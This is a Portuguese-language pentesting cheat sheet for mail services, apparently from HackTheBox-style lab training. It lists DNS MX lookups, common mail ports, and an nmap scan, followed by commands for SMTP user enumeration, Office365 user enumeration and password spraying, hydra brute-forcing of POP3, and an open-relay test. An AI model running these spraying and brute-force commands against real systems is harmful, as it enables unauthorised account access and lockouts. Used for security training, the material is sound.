SMTP

Um mail server(às vezes também chamado de servidor de e-mail) é um servidor que manipula e entrega e-mails por uma rede, geralmente pela Internet.

  • Host - MX Records

host -t MX hackthebox.eu
  • DIG - MX Records

dig mx plaintext.do | grep "MX" | grep -v ";"
  • Host - A Records

host -t A mail1.inlanefreight.htb.

Portas comuns

Porta

Serviço

TCP/25

SMTP não criptografado

TCP/143

IMAP4 não criptografado

TCP/110

POP3 não criptografado

TCP/465

SMTP criptografado

TCP/587

SMTP criptografado/ STARTTLS

TCP/993

IMAP4 criptografado

TCP/995

POP3 criptografado

  • Podemos usar a opção Nmapde script padrão do -sCpara enumerar essas portas no sistema de destino:

sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128
  • Conecte-se ao servidor SMTP.

telnet 10.10.110.20 25
  • Enumeração de usuários SMTP usando o comando RCPT em relação ao host especificado.

smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
  • Verifique o uso do Office365 para o domínio especificado.

python3 o365spray.py --validate --domain msplaintext.xyz
  • Enumere usuários existentes usando o Office365 no domínio especificado.

python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
  • Pulverização de senhas em uma lista de usuários que usam o Office 365 para o domínio especificado.

python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
  • Força bruta no serviço POP3.

hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
  • Testando o serviço SMTP para a vulnerabilidade de retransmissão aberta.

swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213

Last updated